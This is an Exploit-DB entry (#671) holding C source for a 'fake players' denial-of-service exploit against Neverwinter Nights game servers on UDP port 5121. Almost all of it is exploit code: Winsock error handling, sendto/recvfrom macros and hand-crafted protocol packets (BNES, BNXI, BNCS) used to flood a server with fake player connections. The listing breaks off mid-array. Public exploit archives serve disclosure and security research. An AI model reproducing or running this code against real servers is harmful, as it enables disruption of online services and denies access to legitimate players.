Exploit-DB #671
Description: Neverwinter Nights special - Fake Players Denial of Service
Type: dos
Platform: windows
Date: 2004-12-01
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
    #define FIVESEC 5000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define FIVESEC 5
#endif



#define VER         "0.1"
#define BUFFSZ      2048
#define PORT        5121
#define TIMEOUT     3
#define NICKSZ      8   // if you modify here, you must modify pck1 too!

#define SEND(x)     if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
                      < 0) std_err(); \
                    fputc('.', stdout);
#define RECV        if(timeout(sd) < 0) { \
                        fputs("\n" \
                            "Error: socket timeout, no reply received\n" \
                            "\n", stdout); \
                        exit(1); \
                    } \
                    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err(); \
                    fputc('.', stdout);



int find_gamever(u_char *data, int len);
int create_rand_string(u_char *data, int len, u_int tmp);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer,
                        peerl;
    u_int       seed;
    int         sd,
                i,
                len,
                on = 1,
                special   = 0,
                info_only = 0,
                ser_ver   = 0;
    u_short     port = PORT;
    u_char      buff[BUFFSZ],
                query[] =
                    "\xfe\xfd\x00\x00\x00\x00\x00\xff\x00\x00",
                srvname[] =
                    "BNES"
                    "\x00\x14"
                    "\x00",
                info[] =
                    "BNXI"
                    "\x00\x14",
                pck1[] =
                    "BNCS"
                    "\x00\x14"
                    "\x10"
                    "\x00\x00\x00\x00"  // 8062 = version
                    "\x03\x00"
                    "\x01"
                    "\x00\x00\x00\x00"  // ran